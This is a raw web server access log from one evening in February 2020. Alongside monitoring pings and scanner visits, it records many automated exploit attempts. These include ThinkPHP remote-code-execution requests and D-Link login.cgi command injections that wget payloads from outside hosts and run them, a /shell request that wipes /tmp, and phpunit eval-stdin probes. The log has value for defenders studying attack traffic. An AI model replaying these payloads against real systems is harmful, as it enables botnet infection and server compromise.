212.91.246.72 - - [03/Feb/2020:21:16:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.170.121.218 - - [03/Feb/2020:21:17:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:21:17:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [03/Feb/2020:21:17:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [03/Feb/2020:21:18:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:21:19:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:21:20:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.160.200.150 - - [03/Feb/2020:21:21:20 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [03/Feb/2020:21:21:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
104.219.234.53 - - [03/Feb/2020:21:22:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [03/Feb/2020:21:22:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.51.46.119 - - [03/Feb/2020:21:22:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:21:23:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.197.188 - - [03/Feb/2020:21:24:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:21:24:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:21:25:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
223.145.13.141 - - [03/Feb/2020:21:25:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
202.29.30.253 - - [03/Feb/2020:21:26:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:21:26:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
120.193.219.42 - - [03/Feb/2020:21:27:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:21:27:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.254.193 - - [03/Feb/2020:21:27:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
104.219.234.53 - - [03/Feb/2020:21:28:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [03/Feb/2020:21:28:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:21:29:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.198.231.197 - - [03/Feb/2020:21:29:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:21:30:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:21:31:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:21:32:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.181.141 - - [03/Feb/2020:21:33:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:21:33:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.6.167.142 - - [03/Feb/2020:21:34:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
71.6.167.142 - - [03/Feb/2020:21:34:18 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "-"
71.6.167.142 - - [03/Feb/2020:21:34:18 +0100] "GET /sitemap.xml HTTP/1.1" 404 316 "-" "-"
71.6.167.142 - - [03/Feb/2020:21:34:18 +0100] "GET /.well-known/security.txt HTTP/1.1" 404 329 "-" "-"
71.6.167.142 - - [03/Feb/2020:21:34:19 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "python-requests/2.10.0"
212.91.246.72 - - [03/Feb/2020:21:34:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:21:35:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:21:36:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:21:37:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.59.94.251 - - [03/Feb/2020:21:38:16 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:21:38:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:21:39:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:21:40:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
170.244.188.43 - - [03/Feb/2020:21:40:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [03/Feb/2020:21:41:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:21:42:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.135.94 - - [03/Feb/2020:21:43:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:21:43:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:21:44:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:21:45:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.186.171.231 - - [03/Feb/2020:21:46:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.149.5/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [03/Feb/2020:21:46:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:21:47:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:21:48:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:21:49:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.241.34 - - [03/Feb/2020:21:49:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.57.78.233 - - [03/Feb/2020:21:50:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
112.72.214.53 - - [03/Feb/2020:21:50:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:21:50:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:21:51:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.219.178.80 - - [03/Feb/2020:21:51:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0"
212.91.246.72 - - [03/Feb/2020:21:52:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.150.73.253 - - [03/Feb/2020:21:52:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:21:53:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:21:54:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.213.76 - - [03/Feb/2020:21:54:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:21:55:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.91.235.48 - - [03/Feb/2020:21:55:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:21:56:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.225.65.11 - - [03/Feb/2020:21:57:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [03/Feb/2020:21:57:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:21:58:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
159.146.31.250 - - [03/Feb/2020:21:59:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:21:59:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
217.150.84.2 - - [03/Feb/2020:22:00:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:22:00:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.29.171 - - [03/Feb/2020:22:00:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:22:01:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:02:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:03:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:04:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:05:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.184.30 - - [03/Feb/2020:22:05:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:22:06:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:07:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:08:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:09:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:10:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:11:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:12:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:13:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.175.253.10 - - [03/Feb/2020:22:14:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:22:14:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.228.161.100 - - [03/Feb/2020:22:14:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.132.168.60 - - [03/Feb/2020:22:15:19 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [03/Feb/2020:22:15:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:16:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
216.245.196.222 - - [03/Feb/2020:22:17:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6"
216.245.196.222 - - [03/Feb/2020:22:17:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6"
212.91.246.72 - - [03/Feb/2020:22:17:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:18:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:19:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.186.171.231 - - [03/Feb/2020:22:19:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.149.5/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
207.216.89.109 - - [03/Feb/2020:22:19:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:22:20:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.99.83 - - [03/Feb/2020:22:20:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.55.201.254 - - [03/Feb/2020:22:21:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:22:21:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
104.219.234.53 - - [03/Feb/2020:22:21:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
5.101.0.209 - - [03/Feb/2020:22:21:36 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [03/Feb/2020:22:22:21 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:22:22:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [03/Feb/2020:22:23:04 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
49.233.88.185 - - [03/Feb/2020:22:23:06 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.233.88.185 - - [03/Feb/2020:22:23:06 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.233.88.185 - - [03/Feb/2020:22:23:07 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.233.88.185 - - [03/Feb/2020:22:23:07 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.233.88.185 - - [03/Feb/2020:22:23:08 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.233.88.185 - - [03/Feb/2020:22:23:08 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.233.88.185 - - [03/Feb/2020:22:23:08 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.233.88.185 - - [03/Feb/2020:22:23:09 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.233.88.185 - - [03/Feb/2020:22:23:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [03/Feb/2020:22:23:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.6.199 - - [03/Feb/2020:22:24:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:22:24:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:25:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:26:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:27:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:28:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:29:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.20.98.65 - - [03/Feb/2020:22:30:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [03/Feb/2020:22:30:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
